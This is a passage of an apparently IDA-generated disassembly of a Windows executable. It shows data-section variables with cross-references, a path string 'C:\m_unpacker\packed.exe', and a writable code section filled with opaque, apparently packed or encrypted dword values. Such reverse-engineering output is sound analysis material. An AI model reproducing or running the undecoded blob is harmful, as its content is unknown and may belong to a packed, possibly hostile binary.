dword_43EC20	dd 0			; DATA XREF: sub_409658:loc_40A0E3w
					; sub_40A2E5:loc_40A499r
dword_43EC24	dd 0			; DATA XREF: sub_409658+A86w
					; sub_40A2E5+1BCr
dword_43EC28	dd 0			; DATA XREF: sub_409658:loc_40A12Dw
					; sub_40A2E5:loc_40A4CDr
dword_43EC2C	dd 0			; DATA XREF: sub_409658+AD0w
					; sub_40A2E5+1F0r
dword_43EC30	dd 0			; DATA XREF: sub_409658:loc_40A1A1w
					; sub_40A2E5:loc_40A501r
dword_43EC34	dd 0			; DATA XREF: sub_409658+B44w
					; sub_40A2E5+224r
dword_43EC38	dd 0			; DATA XREF: sub_409658:loc_40A1EBw
					; sub_40A2E5:loc_40A535r
dword_43EC3C	dd 0			; DATA XREF: sub_409658+B8Ew
					; sub_40A2E5+258r
dword_43EC40	dd 0			; DATA XREF: sub_409658:loc_40A289w
					; sub_40A2E5:loc_40A569r
dword_43EC44	dd 0			; DATA XREF: sub_409658+C2Cw
					; sub_40A2E5+28Cr
dword_43EC48	dd 0			; DATA XREF: sub_409658:loc_40A2D3w
					; sub_40A2E5:loc_40A59Dr
dword_43EC4C	dd 0			; DATA XREF: sub_409658+C76w
					; sub_40A2E5+2C0r
dword_43EC50	dd 80h dup(0)		; DATA XREF: sub_40A863+6Ao
dword_43EE50	dd 4 dup(0)		; DATA XREF: sub_40AD08+32o
dword_43EE60	dd 0			; DATA XREF: sub_40B154:loc_40B175r
					; sub_40B243+54r ...
dword_43EE64	dd 0			; DATA XREF: sub_40B154r
					; sub_40B243+37r ...
dword_43EE68	dd 0			; DATA XREF: sub_40B184+1Ar
					; sub_40B398+83o
dword_43EE6C	dd 0			; DATA XREF: sub_40B154:loc_40B168r
					; sub_40B398+11Bw
dword_43EE70	dd 0Dh dup(0)		; DATA XREF: sub_40B243+13o
					; sub_40B398:loc_40B4D5o
dword_43EEA4	dd 0			; DATA XREF: sub_40B243+CDr
					; sub_40B243+ECr ...
dword_43EEA8	dd 0Eh dup(0)		; DATA XREF: sub_40B54D+3Eo
dword_43EEE0	dd 1000h dup(0)		; DATA XREF: sub_40BD8D+1Do
					; sub_40BE2Do ...
dword_442EE0	dd 0Dh dup(0)		; DATA XREF: sub_40BD8D+13o
					; sub_40BE2D+Eo ...
dword_442F14	dd 0			; DATA XREF: sub_40D1A2+C8o
dword_442F18	dd 18h dup(0)		; DATA XREF: sub_40D63A:loc_40D757o
					; sub_40D63A+131o ...
dword_442F78	dd 80h dup(0)		; DATA XREF: sub_40E3CC+7Co
					; sub_40E3CC+A5o
dword_443178	dd 0			; DATA XREF: sub_40D9B7+45w
					; sub_40D9B7+4Dr ...
		align 10h
dword_443180	dd 18h dup(0)		; DATA XREF: sub_40E298:loc_40E3BAo
					; sub_40E298+12Do
dword_4431E0	dd 80h dup(0)		; DATA XREF: sub_40D8F8+4Bo
					; sub_40D8F8+7Do ...
byte_4433E0	db 0			; DATA XREF: sub_40D9B7+29r
					; sub_40D9B7+34w
		align 8
dword_4433E8	dd 80h dup(0)		; DATA XREF: sub_40DC0E+61o
					; sub_40DC0E+88o ...
dword_4435E8	dd 80h dup(0)		; DATA XREF: sub_40D511+33o
					; sub_40D511+50o ...
dword_4437E8	dd 0			; DATA XREF: sub_40BC95+Ao
					; sub_40BC95+44r ...
		dd 5 dup(0)
dword_443800	dd 0			; DATA XREF: sub_40BC95+60r
					; sub_40EC43+B6Ar
		dd 2D9h	dup(0)
dword_444368	dd 0			; DATA XREF: sub_4075B8+96r
					; sub_40BC95+2Do ...
		dd 7Fh dup(0)
dword_444568	dd 0			; DATA XREF: sub_416A7A+4Cw
					; sub_416BB5+3Aw ...
dword_44456C	dd 0			; DATA XREF: sub_405F35+233w
					; sub_4075B8+6Dr ...
dword_444570	dd 0			; DATA XREF: sub_40B398+164w
					; sub_416552+AEw ...
dword_444574	dd 0			; DATA XREF: sub_402669+E0w
					; sub_405983+7Ew ...
dword_444578	dd 0			; DATA XREF: sub_407BAA+11Ew
					; sub_407D92+53r ...
dword_44457C	dd 0			; DATA XREF: sub_405F35+260w
					; sub_4070A3+11Fw ...
byte_444580	db 0			; DATA XREF: sub_40E961+91o
					; sub_40EC43+331Cr ...
		align 4
		dd 473h	dup(0)
dword_445750	dd 10E6Ah dup(0)	; DATA XREF: .data:off_42933Co
dword_4890F8	dd 1Ch			; DATA XREF: sub_406F62:loc_406FD0r
					; sub_40E48A+3Aw ...
		align 10h
dword_489100	dd 0			; DATA XREF: sub_40E48A:loc_40E873o
dword_489104	dd 20h dup(0)		; DATA XREF: sub_40E48A+381o
					; sub_40E48A+43Ao ...
dword_489184	dd 10h dup(0)		; DATA XREF: sub_40E48A+398o
					; sub_40EC43+8D4o
dword_4891C4	dd 24h dup(0)		; DATA XREF: sub_40E48A+3AFo
dword_489254	dd 0			; DATA XREF: sub_40E48A+3A3w
					; sub_40E48A+451w ...
dword_489258	dd 0			; DATA XREF: sub_40E48A+3C2w
		dd 2 dup(0)
dword_489264	dd 0			; DATA XREF: sub_40E961+72r
					; sub_40EC43+268r
		db 2 dup(0)
byte_48926A	db 0			; DATA XREF: sub_40EAC7+28r
					; sub_40EAC7+30o
		align 4
dword_48926C	dd 0			; DATA XREF: sub_40E48A+3EEw
					; sub_40E48A+405r ...
dword_489270	dd 0			; DATA XREF: sub_40E48A+386w
					; sub_40EC43+878r
		align 8
dword_489278	dd 0			; DATA XREF: sub_415208+146r
		align 10h
dword_489280	dd 1Eh dup(0)		; DATA XREF: sub_415AA4+8Do
dword_4892F8	dd 0			; DATA XREF: sub_416CBC+16o
					; sub_416CDB+19o
dword_4892FC	dd 61h dup(0)		; DATA XREF: sub_416C6F+3Do
byte_489480	db 0			; DATA XREF: sub_416979+64r
					; sub_416979+92w
		align 8
dword_489488	dd 0			; DATA XREF: sub_417A73+Aw
		align 10h
dword_489490	dd 0			; DATA XREF: sub_4183B1+5Er
					; sub_4183B1+A4w
		align 8
word_489498	dw 0			; DATA XREF: sub_4183B1+55r
					; sub_4183B1+9Ao
word_48949A	dw 0			; DATA XREF: sub_4183B1+48r
		db 2 dup(0)
word_48949E	dw 0			; DATA XREF: sub_4183B1+3Br
word_4894A0	dw 0			; DATA XREF: sub_4183B1+2Er
word_4894A2	dw 0			; DATA XREF: sub_4183B1+21r
		align 8
dword_4894A8	dd 0			; DATA XREF: sub_41886E+3Br
					; sub_41886E+91w
dword_4894AC	dd 0			; DATA XREF: sub_418533+1B9w
					; sub_418A0E:loc_418A8Aw ...
dword_4894B0	dd 0			; DATA XREF: sub_4194F9+35w
					; sub_41A3B7:loc_41A451w ...
dword_4894B4	dd 0			; DATA XREF: sub_41FBF2+13Ar
dword_4894B8	dd 0A28h		; DATA XREF: sub_4198E4+52w
dword_4894BC	dd 501h			; DATA XREF: sub_4198E4+49w
dword_4894C0	dd 5			; DATA XREF: sub_4198E4+3Ew
dword_4894C4	dd 1			; DATA XREF: sub_4198E4+30w
dword_4894C8	dd 1			; DATA XREF: sub_40E48A:loc_40E75Br
					; sub_41EF6B+91w
dword_4894CC	dd 8F0B20h		; DATA XREF: sub_40E48A+2DAr
					; sub_40E48A+2FAr ...
		dd 0
dword_4894D4	dd 8F0B48h		; DATA XREF: sub_41EEB2+44w
					; sub_421ADE+9r ...
dword_4894D8	dd 0			; DATA XREF: sub_422197+36r
dword_4894DC	dd 0			; DATA XREF: sub_421ADE+16r
					; sub_421EAC+4r ...
		dd 0
off_4894E4	dd offset aCM_unpackerPac ; DATA XREF: sub_41EF6B+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4894EC	db 0			; DATA XREF: sub_419807+2Dw
					; sub_41F813+5r
		align 10h
dword_4894F0	dd 0			; DATA XREF: sub_419807+27w
dword_4894F4	dd 0			; DATA XREF: sub_419807+4r
					; sub_419807+8Bw
dword_4894F8	dd 0			; DATA XREF: sub_4198E4+84w
					; sub_41EEB2:loc_41EEC4r ...
		align 10h
dword_489500	dd 0			; DATA XREF: sub_4199DAr sub_4199FFr ...
dword_489504	dd 0			; DATA XREF: sub_41A5A2+37r
		dd 0
dword_48950C	dd 0			; DATA XREF: sub_417889r
					; sub_41914F:loc_41926Br ...
dword_489510	dd 0			; DATA XREF: sub_41A854r
dword_489514	dd 0			; DATA XREF: sub_41B722+4Bw
					; sub_41B83B+2Dw ...
dword_489518	dd 0			; DATA XREF: sub_41C66D+11r
					; sub_41C771+1Ar ...
byte_48951C	db 0			; DATA XREF: sub_41C66D+3r
					; sub_41C66D+98r ...
		align 10h
dword_489520	dd 0			; DATA XREF: sub_41C771+11r
					; sub_41C84F+21w ...
byte_489524	db 0			; DATA XREF: sub_41C84F+51w
		align 4
dword_489528	dd 0			; DATA XREF: sub_41CA45+4Er
					; sub_41CE20+3Ar ...
dword_48952C	dd 0			; DATA XREF: sub_41CA45+5Cr
					; sub_41CE20+43r ...
dword_489530	dd 0			; DATA XREF: sub_417CFA+7Ar
					; sub_41CBEC+5r
dword_489534	dd 0			; DATA XREF: sub_41D1FC+29r
dword_489538	dd 2 dup(0)		; DATA XREF: sub_418490+Co
dword_489540	dd 0			; DATA XREF: sub_418D63+4r
					; sub_418D63+6Er ...
		align 10h
dword_489550	dd 0			; DATA XREF: sub_4196B9+61r
					; sub_4196B9+BFr ...
		align 8
dword_489558	dd 1			; DATA XREF: sub_41E409+28r
					; sub_41E409+4Cw ...
dword_48955C	dd 1			; DATA XREF: sub_41E658:loc_41E7D3r
					; sub_41E7F1+4w ...
dword_489560	dd 0			; DATA XREF: sub_41ECD6+3Ar
					; sub_41ECD6+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41EF6B:loc_41EF82o
					; .data:off_4894E4o
		align 10h
		dd 3Ah dup(0)
dword_489668	dd 1			; DATA XREF: sub_41F1B8+2r
					; sub_41F1B8+23w ...
dword_48966C	dd 0			; DATA XREF: sub_41F578+21r
dword_489670	dd 0			; DATA XREF: sub_41A5A2:loc_41A5CBw
					; sub_41A66C+154w ...
dword_489674	dd 1			; DATA XREF: sub_41F88F+26r
					; sub_41F88F:loc_41F8F9w
dword_489678	dd 0			; DATA XREF: sub_41A66C+7r
		align 10h
word_489680	dw 0			; DATA XREF: sub_420477+1Ao
					; sub_420477+46r
byte_489682	db 0			; DATA XREF: sub_420477+39r
		align 4
dword_489684	dd 7 dup(0)		; DATA XREF: sub_420477+52o
dword_4896A0	dd 0			; DATA XREF: sub_420477+40w
					; sub_420477+5Co
dword_4896A4	dd 0			; DATA XREF: sub_420477+4Dw
dword_4896A8	dd 0			; DATA XREF: sub_420477+31w
dword_4896AC	dd 0			; DATA XREF: sub_420477+52w
dword_4896B0	dd 77C26E79h		; DATA XREF: sub_42059A:loc_4205BDr
					; sub_42059A+38r ...
		align 8
dword_4896B8	dd 0			; DATA XREF: sub_42067A+11w
					; sub_42067A+63w ...
		align 10h
dword_4896C0	dd 0			; DATA XREF: sub_42067A+33o
					; sub_42067A+46r
dword_4896C4	dd 10h dup(0)		; DATA XREF: sub_42067A+C1o
word_489704	dw 0			; DATA XREF: sub_4208D8+A8r
word_489706	dw 0			; DATA XREF: sub_42067A+54r
					; sub_4208D8+DBr ...
word_489708	dw 0			; DATA XREF: sub_4208D8+CAr
word_48970A	dw 0			; DATA XREF: sub_4208D8+D3r
					; sub_4208D8:loc_4209CAr
word_48970C	dw 0			; DATA XREF: sub_4208D8+C0r
word_48970E	dw 0			; DATA XREF: sub_4208D8+B8r
word_489710	dw 0			; DATA XREF: sub_4208D8+B0r
word_489712	dw 0			; DATA XREF: sub_4208D8+9Er
dword_489714	dd 0			; DATA XREF: sub_42067A+4Br
dword_489718	dd 10h dup(0)		; DATA XREF: sub_42067A+FBo
word_489758	dw 0			; DATA XREF: sub_4208D8+46r
word_48975A	dw 0			; DATA XREF: sub_42067A:loc_4206F1r
					; sub_4208D8+78r ...
word_48975C	dw 0			; DATA XREF: sub_4208D8+67r
word_48975E	dw 0			; DATA XREF: sub_4208D8+70r
					; sub_4208D8:loc_42095Cr
word_489760	dw 0			; DATA XREF: sub_4208D8+5Dr
word_489762	dw 0			; DATA XREF: sub_4208D8+55r
word_489764	dw 0			; DATA XREF: sub_4208D8+4Dr
word_489766	dw 0			; DATA XREF: sub_4208D8+3Er
dword_489768	dd 0			; DATA XREF: sub_42067A+80r
dword_48976C	dd 0			; DATA XREF: sub_42067A+132r
					; sub_42067A:loc_4207C6r ...
dword_489770	dd 0			; DATA XREF: sub_420665r sub_420665+Ew
dword_489774	dd 0			; DATA XREF: sub_420D8F+3r
					; sub_420D8F+2Ew ...
dword_489778	dd 0			; DATA XREF: sub_420D8F+43w
					; sub_420D8F:loc_420DDEr
dword_48977C	dd 0			; DATA XREF: sub_420D8F+4Aw
					; sub_420D8F+60r
dword_489780	dd 0			; DATA XREF: sub_41FBF2+3Fr
dword_489784	dd 0			; DATA XREF: sub_42196C:loc_4219D3r
					; sub_42196C+6Do
dword_489788	dd 0			; DATA XREF: sub_42196C:loc_4219AAr
					; sub_42196C+44o
dword_48978C	dd 0			; DATA XREF: sub_42196C:loc_42199Dr
					; sub_42196C+37o
dword_489790	dd 0			; DATA XREF: sub_42196C:loc_4219B7r
					; sub_42196C+51o
		align 8
dword_489798	dd 0			; DATA XREF: sub_421F1A+28r
					; sub_421F1A+48w ...
dword_48979C	dd 0			; DATA XREF: sub_422978+28r
					; sub_422978+4Cw ...
dword_4897A0	dd 0			; DATA XREF: sub_422C03+26r
					; sub_422C03:loc_422C6Dw
byte_4897A4	db 1			; DATA XREF: sub_4047E1r sub_4047E1+9w
		align 4
dword_4897A8	dd 8F1110h		; DATA XREF: sub_41A535:loc_41A546r
					; sub_41A7DC+14r ...
		dd 5 dup(0)
dword_4897C0	dd 400h	dup(0)		; DATA XREF: .data:off_43B198o
					; .data:0043B1A0o
dword_48A7C0	dd 200h			; DATA XREF: sub_41A535+9r
					; sub_41A535+56r ...
		dd 7 dup(0)
dword_48A7E0	dd 8F0650h		; DATA XREF: sub_419A23+B1r
					; sub_41DF48+75r ...
dword_48A7E4	dd 3Fh dup(0)		; DATA XREF: sub_41F2EA+92o
dword_48A8E0	dd 20h			; DATA XREF: sub_41A3B7+8r
					; sub_41E021+Cr ...
dword_48A8E4	dd 4E4h			; DATA XREF: sub_41E658+14r
					; sub_41E658+65w ...
		align 10h
dword_48A8F0	dd 3 dup(0)		; DATA XREF: sub_41E658+123o
					; sub_41E658+171o ...
dword_48A8FC	dd 0			; DATA XREF: sub_41E658+108w
					; sub_41E658+15Dw ...
byte_48A900	db 0			; DATA XREF: sub_41E897:loc_41E9A3w
					; sub_41E897:loc_41E9C0w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_48AA00	db 0			; DATA XREF: sub_41E658+5Co
					; sub_41E658+AFo ...
byte_48AA01	db 0			; DATA XREF: sub_418FB8+5Dr
					; sub_41E658+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_48AB04	dd 0			; DATA XREF: sub_41E658+6Ew
					; sub_41E658+12Bw ...
dword_48AB08	dd 0			; DATA XREF: sub_41AA41+3Cw
					; sub_41B0E6+5r ...
dword_48AB0C	dd 0			; DATA XREF: sub_41AAB4+23Ar
					; sub_41AAB4+25Ar ...
dword_48AB10	dd 0			; DATA XREF: sub_41AA41+31w
					; sub_41AAB4+311w ...
dword_48AB14	dd 0			; DATA XREF: sub_41AA41+21w
					; sub_41AAB4+22Dr ...
dword_48AB18	dd 0			; DATA XREF: sub_41AA41+28w
					; sub_41AA89r ...
dword_48AB1C	dd 0			; DATA XREF: sub_41AA41+15w
					; sub_41AA89+8r ...
dword_48AB20	dd 0			; DATA XREF: sub_4178C7+Fr
					; sub_41914F+5Cr ...
dword_48AB24	dd 8F0000h		; DATA XREF: sub_4178C7+66r
					; sub_41793B+5Ar ...
dword_48AB28	dd 1			; DATA XREF: sub_4178C7r sub_41793B+Cr ...
dword_48AB2C	dd 142340h		; DATA XREF: sub_4198E4+7Aw
					; sub_41EE5A+Fr ...
dword_48AB30	dd 1			; DATA XREF: sub_41EEB2+ADw
					; sub_421ADEr
dword_48AB34	dd 1			; DATA XREF: sub_41EA1Cr
					; sub_41EA1C+11w ...
dword_48AB38	dd 8F075Ch		; DATA XREF: sub_418303+13r
					; sub_418303:loc_418345r ...
dword_48AB3C	dd 8F0758h		; DATA XREF: sub_418303+1r
					; sub_418303+Cr ...
		dd 130h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
_data		ends

; Section 2. (virtual address 0008C000)
; Virtual size			: 00016890 (  92304.)
; Section size in file		: 00016890 (  92304.)
; Offset to raw	data for section: 0008C000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_pdata		segment	para public 'CODE' use32
		assume cs:_pdata
		;org 48C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 8000005Eh, 0A22A0000h, 8F1788D9h, 33666E2Bh,	42851711h
		dd 2F2A92BBh, 97C8C5D9h, 6B40DB67h, 75E3CF8Fh, 0A478514Eh
		dd 0DA87B2F7h, 0CACBDBE3h, 0AFD52D6Ch, 84A11EE3h, 0A41C7308h
		dd 4EBC8A98h, 51B8EAD9h, 0DB1610A9h, 427CB136h,	310917D8h
		dd 637DBC7Bh, 0D607EDE5h, 8272EB54h, 2281BFADh,	0C66F79D9h
		dd 0E8AFC35Eh, 7D67D2D4h, 7C54ACB7h, 0F4BC0FF2h, 4055CBF6h
		dd 2CEA2B4Bh, 8905203h,	9A639DEAh, 157B9455h, 58FB7A2Ah
		dd 0E23D1789h, 0B7BC0422h, 0C1B761E3h, 0D1E7BBDEh, 7A99261Dh
		dd 8FAD3979h, 22C2FB21h, 1F1D44CFh, 7F0E79BAh, 7715C6A6h
		dd 0C0042B92h, 70772D74h, 0C82CF78h, 9322B0Dh, 4A3000DDh
		dd 3E02BA50h, 0A3996F84h, 7110570Eh, 1079352h, 0B73D7FF4h
		dd 4827EDACh, 97DD992Dh, 9F273103h, 99BAF2C6h, 9C89E64Bh
		dd 363CF384h, 0BDC2665Fh, 8DD1047Dh, 6105D81h, 6E2CB0E1h
		dd 0FBC9445h, 28C02EE8h, 300416D6h, 77F66109h, 0C1BCBDF2h
		dd 7EC689DFh, 0C01241E4h, 8C5ECBEAh, 9009236Ah,	1CBDFC15h
		dd 0C15515B2h, 81A58C78h, 0D1708A21h, 5A6DE6A7h, 0A1BDA8C5h
		dd 8D39C868h, 0F41AAEE0h, 97942946h, 0BFD976F3h, 551F99E0h
		dd 8A7065BAh, 0BA649001h, 52D24234h, 496DF213h,	0DF9DD3h
		dd 57F99245h, 0CE08F3F7h, 5D86466Fh, 0E636893Ch, 0B1392A5Fh
		dd 7449433Ah, 79E0109h,	2E27A59Bh, 2B2CFEDBh, 28B78C3Bh
		dd 8978235Ch, 486A4D16h, 0D26E26C6h, 4540E35Fh,	0BBF1CAD6h
		dd 6E39650Ch, 0D6DC99C4h, 0B05FA270h, 15AB9E34h, 2348A216h
		dd 438B75E0h, 3F0348Fh,	2CA8D385h, 0B779CB26h, 0C5EB67B9h
		dd 476638EFh, 2DDAD868h, 21C791B3h, 5102A0BDh, 0C15D8818h
		dd 75DA9837h, 25638AE3h, 5FA02064h, 1A6496D8h, 575BC033h
		dd 6013ABE8h, 348A8393h, 0E5075A64h, 324872B2h,	0B2DD676Bh
		dd 3E51D184h, 99A888FFh, 0CBFF4CB1h, 0A03750E5h, 77FF52ABh
		dd 25CA3516h, 0E30F0D3Fh, 202D0BCEh, 0D2A15CDFh, 86F33099h
		dd 8BF700E1h, 0B85DD060h, 8A0CC9FFh, 0D372EF2h,	7A20FA4Ah
		dd 0F38C1942h, 89EC81Dh, 5688A72h, 51E52602h, 83D635A1h
		dd 9F82F9B3h, 5E0F8AE3h, 0FE056AA9h, 0D509FCCDh, 1F443752h
		dd 0E856BA60h, 5C892D70h, 6A73561Bh, 283DAF3Ch,	0DE88B1CCh
		dd 5BAB5F1Ch, 9EBBD05Ch, 0CF96FAAFh, 0FBBACE61h, 0F5697866h
		dd 0CA1B1D47h, 0F985F3EFh, 8FFD8470h, 0FCE8AD8Fh, 58FBABF6h
		dd 0CCAF5E58h, 75F4C3A8h, 505FCC78h, 0D48CF7BCh, 21DC4D7Fh
		dd 4086829Eh, 7858C951h, 8FED4ECBh, 13F28763h, 49F99CD3h
		dd 2642E3B0h, 9B1D58A3h, 8BCD4950h, 0A0D408E1h,	786FDE89h
		dd 0E5E8E0DEh, 1C5D69A2h, 4FB4ACA7h, 0ADBB498Eh, 3A18D695h
		dd 0B7CE6573h, 0FA00E5B7h, 0EB1A2357h, 0EFD0D4D0h, 8BC29AE8h
		dd 6E460688h, 0F7ED8DCh, 6C7D1DBAh, 0AE647EFCh,	8F268F7Bh
		dd 71561684h, 378BBE3Ah, 0B19383B1h, 5BA97A26h,	8A66E854h
		dd 0CE374990h, 5BAD5E2h, 2B1384F9h, 0F3CB62DFh,	0EE203613h
		dd 53CCA63Eh, 453947EFh, 55E82A9Dh, 94688F07h, 0D5B4EDDDh
		dd 0E1839876h, 57D3CE3Ch, 81E7F33h, 5EEDE0E8h, 931C6C08h
		dd 6A8BC766h, 957B6386h, 941CA546h, 46082DD4h, 0F587E4D7h
		dd 87C4567Bh, 5426C3C9h, 3085719Ch, 203AE696h, 79452CFBh
		dd 0F1CE9640h, 0DF422332h, 0BBF5E79Ch, 2E92A3EFh, 0C76277BBh
		dd 0DC58B6D6h, 0B50775B8h, 0BAAA4D57h, 90C3AE57h, 95F6B2E4h
		dd 0B77C7EC8h, 2DC9B8CAh, 682AFA90h, 7FE8927Ah,	9050C7BEh
		dd 0A81A4796h, 6676C5E9h, 0B7826962h, 7B5E1AC4h, 6337C5E9h
		dd 0ADDE48BCh, 78C4D884h, 0A02AC475h, 4C5BDF26h, 0A525AFECh
		dd 1114E58Dh, 159F91B4h, 6507DFEDh, 30689422h, 0AECDCBA0h
		dd 0F78FD3CDh, 0A1A47016h, 31846141h, 0CA3DA7F3h, 14933017h
		dd 0CA5CD991h, 245DBA78h, 5BB21E8Eh, 4D58A1F5h,	0EF4D7483h
		dd 224542ABh, 50441B91h, 8C86545Bh, 75FF1CF0h, 608C35CEh
		dd 0B301CBDFh, 0F1B818EFh, 0B93B8351h, 0ABB58068h, 5F6A27E9h
		dd 78F4F588h, 0C120785Ch, 0F600E8DDh, 88795DB4h, 686AEA4Dh
		dd 0B00F631Ah, 1CFF3B2Fh, 7F3DB8EFh, 78210CC6h,	89991AB7h
		dd 769CCFBh, 71225ABBh,	563276F6h, 331341C2h, 0EEAC0A5h
		dd 39DBBD9Bh, 0B1694858h, 0DB61DB1Bh, 0EA038A26h, 0D14D5DB8h
		dd 0E982D925h, 8FEE5197h, 0F4E6D6CCh, 9FB35CB0h, 0ACFC4735h
		dd 0BA7DBAE4h, 71958442h, 0A2B2273Eh, 667771EDh, 2A0A413Ah
		dd 408B77EEh, 0F1F7FA81h, 2C5E7A66h, 565B1257h,	65E02965h
		dd 11A78C60h, 0E29D0631h, 2760E8EDh, 2A08E1CFh,	0A58795EEh
		dd 47AEE444h, 58A818F2h, 0C48C410Ah, 0BE10BBF2h, 0F2401339h
		dd 28E24244h, 0ACCA5C04h, 52C87FC4h, 39D0CCAh, 12AC6FF0h
		dd 0F649C12Ch, 32C25B63h, 0D23406FBh, 1C04C731h, 6F99A782h
		dd 25AA4AECh, 5886CF3Ah, 38EF9A53h, 0B433017h, 0ECCF351Ch
		dd 0E9598DD9h, 966BDE9Ch, 0A7CA1B71h, 0B38FCE67h, 19CA376Dh
		dd 2A807075h, 0DED907E4h, 83357265h, 8C0711E3h,	799DF684h
		dd 9852E64Ah, 17095B90h, 0AC1E37D8h, 0BC83495Fh, 698546AAh
		dd 24F88F5Ch, 0DEA318A3h, 0B49F4BF3h, 0DDB9B205h, 6BB018D2h
		dd 41F92F72h, 0E82DAB66h, 0D92DFC46h, 0C0C68CE4h, 0D6FABFE9h
		dd 907CF325h, 0B3C60748h, 0AD58F3EBh, 0E3D52D31h, 91CBEF98h
		dd 7E4C9320h, 98B891A6h, 4C1ED9F7h, 0EF0B1C98h,	9B8C4E23h
		dd 0EC22836Bh, 5546A7BAh, 36166DF4h, 3BE9FFECh,	0A9EA3A1Bh
		dd 0E625AA31h, 97417420h, 234C7D44h, 0DF8C8EE4h, 4197D230h
		dd 58D2ACDEh, 32BD608Ah, 2479FE8Ah, 1420CDC0h, 0EF7B98B2h
		dd 0B7FE878Dh, 0B162E882h, 3AC02837h, 434CFE38h, 29EC1942h
		dd 99FE8A06h, 6C486118h, 86DD329Eh, 0F8B5D1AFh,	0CC81FBBBh
		dd 0E4B2CC17h, 916FD88h, 76F8CCF9h, 41E47157h, 3D1560E0h
		dd 308AE68Bh, 0CD843BB3h, 75A914B7h, 2F0176A8h,	945B5DEAh
		dd 790AAB82h, 39075D26h, 250A268Dh, 86D7C214h, 86629B0Eh
		dd 0C26C98CBh, 0E44C8C2Fh, 0C4DEE583h, 0C1A0C4A8h, 7025E8E9h
		dd 0AAE5ADC3h, 0C405F3Fh, 0F75F1AECh, 0F1100E27h, 0D621D2C3h
		dd 9EF56ED2h, 0EBEA0A8Fh, 0E2225ACh, 0EBC1E552h, 0D9CDF40Bh
		dd 90A4A3AAh, 0EB45BBCDh, 0CE66CAADh, 0FE48C0E1h, 0EA6F76C2h
		dd 6F836F14h, 0DF889EA9h, 6C1B4372h, 4D66C1D3h,	920032DDh
		dd 0E227A54Bh, 0F5F6F7D2h, 3ACC9B03h, 596980Dh,	8E350723h
		dd 738B63BBh, 0EDEA468h, 259C8520h, 0E6F20D43h,	2059F3ECh
		dd 60A5AFF4h, 35CCDCBDh, 68DBA465h, 0B3ED4F3Dh,	542A37ABh
		dd 0E148B346h, 70706FF8h, 7A3CE157h, 0D0DA7166h, 9FB76FAh
		dd 0D1ABD195h, 0FAC2D72Ah, 0CE6BB214h, 0B6C2D06Dh, 9814D5A6h
		dd 4A591D11h, 68C764B7h, 0E4F331CBh, 3E14B7E6h,	0A45777D2h
		dd 254F844Dh, 3B3D01EAh, 51D9FDF9h, 85954636h, 3D1B6EDDh
		dd 8FC2FF4Dh, 977B2BA5h, 37F7D3B5h, 5CA0E3C3h, 0ED4654BFh
		dd 177CA983h, 0ECD43757h, 2DFCA407h, 0F8D8415Ch, 0EB4EC9F8h
		dd 69FD8440h, 2F1FB5CAh, 3BC48B3Ch, 821CED7Bh, 0AAD1E080h
		dd 4D243B9Fh, 0C792B11Eh, 0E4020FC3h, 1C35C7DDh, 0D19E0A2Ch
		dd 0DF829280h, 1B6B67D5h, 92598CE4h, 201B88DBh,	0D2F8CA86h
		dd 2BA8CB5h, 0B76845A4h, 6B665502h, 0B6FA5CEDh,	0D87A4B2Ch
		dd 27368493h, 23FD09F0h, 786E21AFh, 0B8AC6B6Eh,	3A6A5D48h
		dd 0A7C95243h, 0C07A04ABh
		dd 2FD08CA3h, 0D6A88929h, 3FD0B971h, 0F43CADF3h, 0BF8C6811h
		dd 2B003FC2h, 0F11A8C46h, 733D3281h, 0C95D457Ch, 5AD101A2h
		dd 0E292184Ch, 0DE5C26ADh, 55B6C181h, 91C849E3h, 0DEB1C80Bh
		dd 81919A2h, 8255D2B2h,	30E002A1h, 0C293DCF3h, 0FACFA2F9h
		dd 71763481h, 1165408Bh, 5F9F974Bh, 2A560881h, 0A86ADD35h
		dd 0B5DE496h, 0EE760346h, 76EC6FBCh, 1FBDB5CEh,	0F6BCD152h
		dd 0B4DBC13Eh, 3A3DC551h, 520CBAFFh, 0C6564987h, 0E55A134h
		dd 0F923879Ch, 5591FE21h, 27481596h, 9CCB2376h,	2CE5902Fh
		dd 0D87A8135h, 11FE231Bh, 4C4E3140h, 7507F5h, 0DA65168Ch
		dd 13C0B8BDh, 0E7D7A8B8h, 5A6921E2h, 38D75161h,	38139874h
		dd 0B25F15DBh, 13212C1h, 0DF6E9792h, 53F275FEh,	92D14F76h
		dd 0A0B531D7h, 0C8E37EA9h, 0E39A69ACh, 0BAE7C641h, 21038C8Dh
		dd 0EFCFFE2Eh, 1DE43CEAh, 74560FA6h, 6A9D0CC9h,	5830466Ch
		dd 0E7C1D81Bh, 0A0B9D00Eh, 647D89C4h, 0F985DD75h, 0E8EA2C67h
		dd 0BD253F85h, 7FA69032h, 0F8A53680h, 18DB7F7Ch, 0D7CCFBC4h
